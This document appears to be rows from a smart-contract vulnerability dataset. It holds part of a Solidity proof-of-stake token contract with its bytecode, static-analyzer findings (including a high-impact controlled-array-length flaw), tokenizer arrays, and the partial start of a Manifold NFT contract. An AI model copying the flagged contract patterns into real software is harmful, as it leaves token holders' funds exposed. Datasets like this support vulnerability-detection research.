Transfer(msg.sender, _to, _value);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 _now = uint64(now);
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function changeTreasury(address _treasury) public onlyTreasury returns (bool) {
treasury = _treasury;
emit TreasuryChange(msg.sender, treasury);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
if(transferIns[_from].length > 0) delete transferIns[_from];
uint64 _now = uint64(now);
transferIns[_from].push(transferInStruct(uint128(balances[_from]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function mint() canPoSMint returns (bool) {
if(balances[msg.sender] <= 0) return false;
if(transferIns[msg.sender].length <= 0) return false;
uint reward = getProofOfStakeReward(msg.sender);
if(reward <= 0) return false;
uint senderReward = (reward * 90).div(100); // 90% goes to the holder, 10% goes to the Treasury
uint treasuryReward = reward - senderReward;
totalSupply = totalSupply.add(reward);
balances[msg.sender] = balances[msg.sender].add(senderReward);
balances[treasury] = balances[treasury].add(treasuryReward);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
Mint(msg.sender, reward);
return true;
}
function getBlockNumber() returns (uint blockNumber) {
blockNumber = block.number.sub(chainStartBlockNumber);
}
function coinAge() constant returns (uint myCoinAge) {
myCoinAge = getCoinAge(msg.sender,now);
}
function annualInterest() constant returns(uint interest) {
uint _now = now;
interest = maxMintProofOfStake;
if((_now.sub(stakeStartTime)).div(1 years) == 0) {
interest = (770 * maxMintProofOfStake).div(100);
} else if((_now.sub(stakeStartTime)).div(1 years) == 1){
interest = (435 * maxMintProofOfStake).div(100);
}
}
function getProofOfStakeReward(address _address) internal returns (uint) {
require( (now >= stakeStartTime) && (stakeStartTime > 0) );
uint _now = now;
uint _coinAge = getCoinAge(_address, _now);
if(_coinAge <= 0) return 0;
uint interest = maxMintProofOfStake;
// Due to the high interest rate for the first two years, compounding should be taken into account.
// Effective annual interest rate = (1 + (nominal rate / number of compounding periods)) ^ (number of compounding periods) - 1
if((_now.sub(stakeStartTime)).div(1 years) == 0) {
// 1st year effective annual interest rate is 100% when we select the stakeMaxAge (90 days) as the compounding period.
interest = (770 * maxMintProofOfStake).div(100);
} else if((_now.sub(stakeStartTime)).div(1 years) == 1){
// 2nd year effective annual interest rate is 50%
interest = (435 * maxMintProofOfStake).div(100);
}
return (_coinAge * interest).div(365 * (10**decimals));
}
function getCoinAge(address _address, uint _now) internal returns (uint _coinAge) {
if(transferIns[_address].length <= 0) return 0;
for (uint i = 0; i < transferIns[_address].length; i++){
if( _now < uint(transferIns[_address][i].time).add(stakeMinAge) ) continue;
uint nCoinSeconds = _now.sub(uint(transferIns[_address][i].time));
if( nCoinSeconds > stakeMaxAge ) nCoinSeconds = stakeMaxAge;
_coinAge = _coinAge.add(uint(transferIns[_address][i].amount) * nCoinSeconds.div(1 days));
}
}
function ownerSetStakeStartTime(uint timestamp) onlyOwner {
require((stakeStartTime <= 0) && (timestamp >= chainStartTime));
stakeStartTime = timestamp;
}
function ownerBurnToken(uint _value) onlyOwner {
require(_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
totalSupply = totalSupply.sub(_value);
totalInitialSupply = totalInitialSupply.sub(_value);
maxTotalSupply = maxTotalSupply.sub(_value*10);
Burn(msg.sender, _value);
}
/* Batch token transfer. Used by contract creator to distribute initial tokens to holders */
function batchTransfer(address[] _recipients, uint[] _values) onlyOwner returns (bool) {
require( _recipients.length > 0 && _recipients.length == _values.length);
uint total = 0;
for(uint i = 0; i < _values.length; i++){
total = total.add(_values[i]);
}
require(total <= balances[msg.sender]);
uint64 _now = uint64(now);
for(uint j = 0; j < _recipients.length; j++){
balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]);
transferIns[_recipients[j]].push(transferInStruct(uint128(_values[j]),_now));
Transfer(msg.sender, _recipients[j], _values[j]);
}
balances[msg.sender] = balances[msg.sender].sub(total);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
if(balances[msg.sender] > 0) transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
return true;
}
} | 0x60806040526004361061015e5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610163578063095ea7b3146101ed5780631249c58b1461022557806318160ddd1461023a5780631e1b13c01461026157806323b872dd146102765780632a9edf6f146102a05780632ab4d052146102ba578063313ce567146102cf57806342cbb15c146102e45780635b054f9b146102f957806370a082311461030e5780637419f1901461032f57806388d695b2146103445780638da5cb5b146103d257806390762a8b1461040357806395d89b411461041b5780639fd4da4014610430578063a9059cbb14610445578063b14f2a3914610469578063b2552fc41461048a578063cbd8877e1461049f578063cd474b04146104b4578063dd62ed3e146104c9578063e1c3bac6146104f0578063f2bb5ce114610505578063f2fde38b1461051a575b600080fd5b34801561016f57600080fd5b5061017861053b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b257818101518382015260200161019a565b50505050905090810190601f1680156101df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f957600080fd5b50610211600160a060020a03600435166024356105c9565b604080519115158252519081900360200190f35b34801561023157600080fd5b5061021161066b565b34801561024657600080fd5b5061024f610872565b60408051918252519081900360200190f35b34801561026d57600080fd5b5061024f610878565b34801561028257600080fd5b50610211600160a060020a0360043581169060243516604435610889565b3480156102ac57600080fd5b506102b8600435610aed565b005b3480156102c657600080fd5b5061024f610b29565b3480156102db57600080fd5b5061024f610b2f565b3480156102f057600080fd5b5061024f610b35565b34801561030557600080fd5b5061024f610b4c565b34801561031a57600080fd5b5061024f600160a060020a0360043516610b52565b34801561033b57600080fd5b5061024f610b6d565b34801561035057600080fd5b506040805160206004803580820135838102808601850190965280855261021195369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610b739650505050505050565b3480156103de57600080fd5b506103e7610f42565b60408051600160a060020a039092168252519081900360200190f35b34801561040f57600080fd5b506102b8600435610f51565b34801561042757600080fd5b506101786110d6565b34801561043c57600080fd5b5061024f611131565b34801561045157600080fd5b50610211600160a060020a0360043516602435611137565b34801561047557600080fd5b50610211600160a060020a036004351661141a565b34801561049657600080fd5b5061024f6114a6565b3480156104ab57600080fd5b5061024f61153e565b3480156104c057600080fd5b5061024f611544565b3480156104d557600080fd5b5061024f600160a060020a036004358116906024351661154a565b3480156104fc57600080fd5b5061024f611575565b34801561051157600080fd5b5061024f61157b565b34801561052657600080fd5b506102b8600160a060020a0360043516611581565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105c15780601f10610596576101008083540402835291602001916105c1565b820191906000526020600020905b8154815290600101906020018083116105a457829003601f168201915b505050505081565b60008115806105f95750336000908152601360209081526040808320600160a060020a0387168452909152902054155b151561060457600080fd5b336000818152601360209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b600080600080600f54600e5410151561068357600080fd5b33600090815260126020526040812054116106a1576000935061086c565b33600090815260146020526040812054116106bf576000935061086c565b6106c8336115dc565b9250600083116106db576000935061086c565b6106ef605a8402606463ffffffff6116d116565b600e54909250828403915061070a908463ffffffff6116e816565b600e553360009081526012602052604090205461072d908363ffffffff6116e816565b3360009081526012602052604080822092909255601154600160a060020a031681522054610761908263ffffffff6116e816565b601154600160a060020a03166000908152601260209081526040808320939093553382526014905290812061079591611888565b3360008181526014602090815260408083208151808301835260128452828520546001608060020a03908116825267ffffffffffffffff42811683870190815284546001810186559488529686902092519290930180549651909316608060020a0277ffffffffffffffff0000000000000000000000000000000019929091166fffffffffffffffffffffffffffffffff19909616959095171693909317909255815186815291517f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859281900390910190a2600193505b50505090565b600e5481565b600061088433426116fe565b905090565b600080806060606436101561089d57600080fd5b600160a060020a03861615156108b257600080fd5b600160a060020a038716600081815260136020908152604080832033845282528083205493835260129091529020549093506108f4908663ffffffff61187616565b600160a060020a038089166000908152601260205260408082209390935590881681522054610929908663ffffffff6116e816565b600160a060020a038716600090815260126020526040902055610952838663ffffffff61187616565b600160a060020a0380891660008181526013602090815260408083203384528252918290209490945580518981529051928a169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3600160a060020a03871660009081526014602052604081205411156109f357600160a060020a03871660009081526014602052604081206109f391611888565b505050600160a060020a0393841660009081526014602081815260408084208151808301835260128452828620546001608060020a03908116825267ffffffffffffffff428116838701818152855460018181018855968b52888b2095519501805491518416608060020a90810277ffffffffffffffff00000000000000000000000000000000199787166fffffffffffffffffffffffffffffffff19948516178816179091559c909d1689529686528488208551808701909652998216855284860196875289548085018b5599885294909620925192909701805494519093169097029316919096161790921691909117909255919050565b600454600160a060020a03163314610b0457600080fd5b6000600a5411158015610b1957506008548110155b1515610b2457600080fd5b600a55565b600f5481565b60075481565b60006108846009544361187690919063ffffffff16565b60085481565b600160a060020a031660009081526012602052604090205490565b600a5481565b6004546000908190819081908190600160a060020a03163314610b9557600080fd5b60008751118015610ba7575085518751145b1515610bb257600080fd5b60009350600092505b8551831015610bf957610bec8684815181101515610bd557fe5b60209081029091010151859063ffffffff6116e816565b9350600190920191610bbb565b33600090815260126020526040902054841115610c1557600080fd5b5042905060005b8651811015610e2557610c818682815181101515610c3657fe5b90602001906020020151601260008a85815181101515610c5257fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff6116e816565b601260008984815181101515610c9357fe5b90602001906020020151600160a060020a0316600160a060020a0316815260200190815260200160002081905550601460008883815181101515610cd357fe5b90602001906020020151600160a060020a0316600160a060020a0316815260200190815260200160002060408051908101604052808884815181101515610d1657fe5b6020908102919091018101516001608060020a03908116835267ffffffffffffffff87811693830193909352845460018101865560009586529482902084519501805494909201516fffffffffffffffffffffffffffffffff1990941694169390931777ffffffffffffffff000000000000000000000000000000001916608060020a92909116919091021790558651879082908110610db257fe5b90602001906020020151600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8884815181101515610dfe57fe5b906020019060200201516040518082815260200191505060405180910390a3600101610c1c565b33600090815260126020526040902054610e45908563ffffffff61187616565b3360009081526012602090815260408083209390935560149052908120541115610e8157336000908152601460205260408120610e8191611888565b336000908152601260205260408120541115610f35573360009081526014602090815260408083208151808301835260128452918420546001608060020a03908116835267ffffffffffffffff80881684860190815283546001810185559387529490952092519290910180549351909416608060020a0277ffffffffffffffff0000000000000000000000000000000019929091166fffffffffffffffffffffffffffffffff1990931692909217161790555b5060019695505050505050565b600454600160a060020a031681565b600454600160a060020a03163314610f6857600080fd5b60008111610f7557600080fd5b33600090815260126020526040902054610f95908263ffffffff61187616565b3360009081526012602090815260408083209390935560149052908120610fbb91611888565b3360009081526014602090815260408083208151808301835260128452918420546001608060020a03908116835267ffffffffffffffff42811684860190815283546001810185559387529490952092519290910180549351909416608060020a0277ffffffffffffffff0000000000000000000000000000000019929091166fffffffffffffffffffffffffffffffff199093169290921716179055600e5461106b908263ffffffff61187616565b600e55601054611081908263ffffffff61187616565b601055600f5461109a90600a830263ffffffff61187616565b600f5560408051828152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a250565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105c15780601f10610596576101008083540402835291602001916105c1565b60105481565b6000806040604436101561114a57600080fd5b33600160a060020a038616141561116a5761116361066b565b9250611412565b3360009081526012602052604090205461118a908563ffffffff61187616565b3360009081526012602052604080822092909255600160a060020a038716815220546111bc908563ffffffff6116e816565b600160a060020a0386166000818152601260209081526040918290209390935580518781529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a333600090815260146020526040812054111561123f5733600090815260146020526040812061123f91611888565b4291506014600033600160a060020a0316600160a060020a0316815260200190815260200160002060408051908101604052806012600033600160a060020a0316600160a060020a03168152602001908152602001600020546001608060020a031681526020018467ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816001608060020a0302191690836001608060020a0316021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505050506014600086600160a060020a0316600160a060020a031681526020019081526020016000206040805190810160405280866001608060020a031681526020018467ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816001608060020a0302191690836001608060020a0316021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050600192505b505092915050565b601154600090600160a060020a0316331461143457600080fd5b6011805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0384811691909117918290556040805133815292909116602083015280517f803605f0e28534cba577fd3b24b497857b9d8fd1b4105ce6b37c5c33b83ef76b9281900390910190a1506001919050565b600d54600a5442906114d5906301e13380906114c990849063ffffffff61187616565b9063ffffffff6116d116565b15156114fa57600d546114f39061030202606463ffffffff6116d116565b915061153a565b6115176301e133806114c9600a548461187690919063ffffffff16565b6001141561153a57600d54611537906101b302606463ffffffff6116d116565b91505b5090565b600b5481565b60095481565b600160a060020a03918216600090815260136020908152604080832093909416825291909152205490565b600c5481565b600d5481565b600454600160a060020a0316331461159857600080fd5b600160a060020a03811615156115ad57600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600080600080600a5442101580156115f657506000600a54115b151561160157600080fd5b42925061160e85846116fe565b91506000821161162157600093506116c9565b600d5490506116436301e133806114c9600a548661187690919063ffffffff16565b151561166857600d546116619061030202606463ffffffff6116d116565b90506116a8565b6116856301e133806114c9600a548661187690919063ffffffff16565b600114156116a857600d546116a5906101b302606463ffffffff6116d116565b90505b6116c6600754600a0a61016d028284026116d190919063ffffffff16565b93505b505050919050565b60008082848115156116df57fe5b04949350505050565b6000828201838110156116f757fe5b9392505050565b600160a060020a03821660009081526014602052604081205481908190811061172a5760009250611412565b600091505b600160a060020a03851660009081526014602052604090205482101561141257600b54600160a060020a0386166000908152601460205260409020805461179f9291908590811061177c57fe5b600091825260209091200154608060020a900467ffffffffffffffff16906116e8565b8410156117ab5761186b565b600160a060020a038516600090815260146020526040902080546117f89190849081106117d457fe5b6000918252602090912001548590608060020a900467ffffffffffffffff16611876565b9050600c548111156118095750600c545b61186861181f826201518063ffffffff6116d116565b600160a060020a038716600090815260146020526040902080548590811061184357fe5b60009182526020909120015485916001608060020a039091160263ffffffff6116e816565b92505b60019091019061172f565b60008282111561188257fe5b50900390565b50805460008255906000526020600020908101906118a691906118a9565b50565b6118de91905b8082111561153a57805477ffffffffffffffffffffffffffffffffffffffffffffffff191681556001016118af565b905600a165627a7a72305820d854f67e33f9ff2675c6006c8ff210fe21ea7d3ceb7f94486dcde8211a9adf700029 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'shadowing-abstract', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
27009,
27531,
2692,
4402,
2546,
28154,
2094,
28311,
16932,
2497,
19961,
2050,
2620,
2581,
2094,
22907,
2546,
2683,
2497,
2620,
2581,
17134,
2683,
2683,
2581,
2620,
18139,
16086,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2340,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
3647,
18900,
2232,
1008,
1030,
16475,
8785,
3136,
2007,
3808,
14148,
2008,
5466,
2006,
7561,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1037,
1027,
1027,
1014,
1064,
1064,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,525 | 0x954893b35f013aa8e8d70d66bfb2b05c922c6796 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: LOREM
/// @author: manifold.xyz
import "@manifoldxyz/creator-core-solidity/contracts/ERC721Creator.sol";
///////////////////////////////////////////////////////////////////////
// //
// //
// ___ ________ ________ _______ _____ ______ //
// |\ \ |\ _ \|\ __ \|\ ___ \ |\ _ \ _ \ //
// \ \ \ \ \ \|\ \ \ \|\ \ \ __/|\ \ \\\__\ \ \ //
// \ \ \ \ \ \\\ \ \ _ _\ \ \_|/_\ \ \\|__| \ \ //
// \ \ \____\ \ \\\ \ \ \\ \\ \ \_|\ \ \ \ \ \ \ //
// \ \_______\ \_______\ \__\\ _\\ \_______\ \__\ \ \__\ //
// \|_______|\|_______|\|__|\|__|\|_______|\|__| \|__| //
// //
// WAGMI //
// //
// //
///////////////////////////////////////////////////////////////////////
contract LOREM is ERC721Creator {
constructor() ERC721Creator("LOREM", "LOREM") {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@manifoldxyz/libraries-solidity/contracts/access/AdminControl.sol";
import "./core/ERC721CreatorCore.sol";
/**
* @dev ERC721Creator implementation
*/
contract ERC721Creator is AdminControl, ERC721, ERC721CreatorCore {
constructor (string memory _name, string memory _symbol) ERC721(_name, _symbol) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721CreatorCore, AdminControl) returns (bool) {
return ERC721CreatorCore.supportsInterface(interfaceId) || ERC721.supportsInterface(interfaceId) || AdminControl.supportsInterface(interfaceId);
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
_approveTransfer(from, to, tokenId);
}
/**
* @dev See {ICreatorCore-registerExtension}.
*/
function registerExtension(address extension, string calldata baseURI) external override adminRequired nonBlacklistRequired(extension) {
_registerExtension(extension, baseURI, false);
}
/**
* @dev See {ICreatorCore-registerExtension}.
*/
function registerExtension(address extension, string calldata baseURI, bool baseURIIdentical) external override adminRequired nonBlacklistRequired(extension) {
_registerExtension(extension, baseURI, baseURIIdentical);
}
/**
* @dev See {ICreatorCore-unregisterExtension}.
*/
function unregisterExtension(address extension) external override adminRequired {
_unregisterExtension(extension);
}
/**
* @dev See {ICreatorCore-blacklistExtension}.
*/
function blacklistExtension(address extension) external override adminRequired {
_blacklistExtension(extension);
}
/**
* @dev See {ICreatorCore-setBaseTokenURIExtension}.
*/
function setBaseTokenURIExtension(string calldata uri) external override extensionRequired {
_setBaseTokenURIExtension(uri, false);
}
/**
* @dev See {ICreatorCore-setBaseTokenURIExtension}.
*/
function setBaseTokenURIExtension(string calldata uri, bool identical) external override extensionRequired {
_setBaseTokenURIExtension(uri, identical);
}
/**
* @dev See {ICreatorCore-setTokenURIPrefixExtension}.
*/
function setTokenURIPrefixExtension(string calldata prefix) external override extensionRequired {
_setTokenURIPrefixExtension(prefix);
}
/**
* @dev See {ICreatorCore-setTokenURIExtension}.
*/
function setTokenURIExtension(uint256 tokenId, string calldata uri) external override extensionRequired {
_setTokenURIExtension(tokenId, uri);
}
/**
* @dev See {ICreatorCore-setTokenURIExtension}.
*/
function setTokenURIExtension(uint256[] memory tokenIds, string[] calldata uris) external override extensionRequired {
require(tokenIds.length == uris.length, "Invalid input");
for (uint i = 0; i < tokenIds.length; i++) {
_setTokenURIExtension(tokenIds[i], uris[i]);
}
}
/**
* @dev See {ICreatorCore-setBaseTokenURI}.
*/
function setBaseTokenURI(string calldata uri) external override adminRequired {
_setBaseTokenURI(uri);
}
/**
* @dev See {ICreatorCore-setTokenURIPrefix}.
*/
function setTokenURIPrefix(string calldata prefix) external override adminRequired {
_setTokenURIPrefix(prefix);
}
/**
* @dev See {ICreatorCore-setTokenURI}.
*/
function setTokenURI(uint256 tokenId, string calldata uri) external override adminRequired {
_setTokenURI(tokenId, uri);
}
/**
* @dev See {ICreatorCore-setTokenURI}.
*/
function setTokenURI(uint256[] memory tokenIds, string[] calldata uris) external override adminRequired {
require(tokenIds.length == uris.length, "Invalid input");
for (uint i = 0; i < tokenIds.length; i++) {
_setTokenURI(tokenIds[i], uris[i]);
}
}
/**
* @dev See {ICreatorCore-setMintPermissions}.
*/
function setMintPermissions(address extension, address permissions) external override adminRequired {
_setMintPermissions(extension, permissions);
}
/**
* @dev See {IERC721CreatorCore-mintBase}.
*/
function mintBase(address to) public virtual override nonReentrant adminRequired returns(uint256) {
return _mintBase(to, "");
}
/**
* @dev See {IERC721CreatorCore-mintBase}.
*/
function mintBase(address to, string calldata uri) public virtual override nonReentrant adminRequired returns(uint256) {
return _mintBase(to, uri);
}
/**
* @dev See {IERC721CreatorCore-mintBaseBatch}.
*/
function mintBaseBatch(address to, uint16 count) public virtual override nonReentrant adminRequired returns(uint256[] memory tokenIds) {
tokenIds = new uint256[](count);
for (uint16 i = 0; i < count; i++) {
tokenIds[i] = _mintBase(to, "");
}
return tokenIds;
}
/**
* @dev See {IERC721CreatorCore-mintBaseBatch}.
*/
function mintBaseBatch(address to, string[] calldata uris) public virtual override nonReentrant adminRequired returns(uint256[] memory tokenIds) {
tokenIds = new uint256[](uris.length);
for (uint i = 0; i < uris.length; i++) {
tokenIds[i] = _mintBase(to, uris[i]);
}
return tokenIds;
}
/**
* @dev Mint token with no extension
*/
function _mintBase(address to, string memory uri) internal virtual returns(uint256 tokenId) {
_tokenCount++;
tokenId = _tokenCount;
// Track the extension that minted the token
_tokensExtension[tokenId] = address(this);
_safeMint(to, tokenId);
if (bytes(uri).length > 0) {
_tokenURIs[tokenId] = uri;
}
// Call post mint
_postMintBase(to, tokenId);
return tokenId;
}
/**
* @dev See {IERC721CreatorCore-mintExtension}.
*/
function mintExtension(address to) public virtual override nonReentrant extensionRequired returns(uint256) {
return _mintExtension(to, "");
}
/**
* @dev See {IERC721CreatorCore-mintExtension}.
*/
function mintExtension(address to, string calldata uri) public virtual override nonReentrant extensionRequired returns(uint256) {
return _mintExtension(to, uri);
}
/**
* @dev See {IERC721CreatorCore-mintExtensionBatch}.
*/
function mintExtensionBatch(address to, uint16 count) public virtual override nonReentrant extensionRequired returns(uint256[] memory tokenIds) {
tokenIds = new uint256[](count);
for (uint16 i = 0; i < count; i++) {
tokenIds[i] = _mintExtension(to, "");
}
return tokenIds;
}
/**
* @dev See {IERC721CreatorCore-mintExtensionBatch}.
*/
function mintExtensionBatch(address to, string[] calldata uris) public virtual override nonReentrant extensionRequired returns(uint256[] memory tokenIds) {
tokenIds = new uint256[](uris.length);
for (uint i = 0; i < uris.length; i++) {
tokenIds[i] = _mintExtension(to, uris[i]);
}
}
/**
* @dev Mint token via extension
*/
function _mintExtension(address to, string memory uri) internal virtual returns(uint256 tokenId) {
_tokenCount++;
tokenId = _tokenCount;
_checkMintPermissions(to, tokenId);
// Track the extension that minted the token
_tokensExtension[tokenId] = msg.sender;
_safeMint(to, tokenId);
if (bytes(uri).length > 0) {
_tokenURIs[tokenId] = uri;
}
// Call post mint
_postMintExtension(to, tokenId);
return tokenId;
}
/**
* @dev See {IERC721CreatorCore-tokenExtension}.
*/
function tokenExtension(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "Nonexistent token");
return _tokenExtension(tokenId);
}
/**
* @dev See {IERC721CreatorCore-burn}.
*/
function burn(uint256 tokenId) public virtual override nonReentrant {
require(_isApprovedOrOwner(msg.sender, tokenId), "Caller is not owner nor approved");
address owner = ownerOf(tokenId);
_burn(tokenId);
_postBurn(owner, tokenId);
}
/**
* @dev See {ICreatorCore-setRoyalties}.
*/
function setRoyalties(address payable[] calldata receivers, uint256[] calldata basisPoints) external override adminRequired {
_setRoyaltiesExtension(address(this), receivers, basisPoints);
}
/**
* @dev See {ICreatorCore-setRoyalties}.
*/
function setRoyalties(uint256 tokenId, address payable[] calldata receivers, uint256[] calldata basisPoints) external override adminRequired {
require(_exists(tokenId), "Nonexistent token");
_setRoyalties(tokenId, receivers, basisPoints);
}
/**
* @dev See {ICreatorCore-setRoyaltiesExtension}.
*/
function setRoyaltiesExtension(address extension, address payable[] calldata receivers, uint256[] calldata basisPoints) external override adminRequired {
_setRoyaltiesExtension(extension, receivers, basisPoints);
}
/**
* @dev {See ICreatorCore-getRoyalties}.
*/
function getRoyalties(uint256 tokenId) external view virtual override returns (address payable[] memory, uint256[] memory) {
require(_exists(tokenId), "Nonexistent token");
return _getRoyalties(tokenId);
}
/**
* @dev {See ICreatorCore-getFees}.
*/
function getFees(uint256 tokenId) external view virtual override returns (address payable[] memory, uint256[] memory) {
require(_exists(tokenId), "Nonexistent token");
return _getRoyalties(tokenId);
}
/**
* @dev {See ICreatorCore-getFeeRecipients}.
*/
function getFeeRecipients(uint256 tokenId) external view virtual override returns (address payable[] memory) {
require(_exists(tokenId), "Nonexistent token");
return _getRoyaltyReceivers(tokenId);
}
/**
* @dev {See ICreatorCore-getFeeBps}.
*/
function getFeeBps(uint256 tokenId) external view virtual override returns (uint[] memory) {
require(_exists(tokenId), "Nonexistent token");
return _getRoyaltyBPS(tokenId);
}
/**
* @dev {See ICreatorCore-royaltyInfo}.
*/
function royaltyInfo(uint256 tokenId, uint256 value) external view virtual override returns (address, uint256) {
require(_exists(tokenId), "Nonexistent token");
return _getRoyaltyInfo(tokenId, value);
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "Nonexistent token");
return _tokenURI(tokenId);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
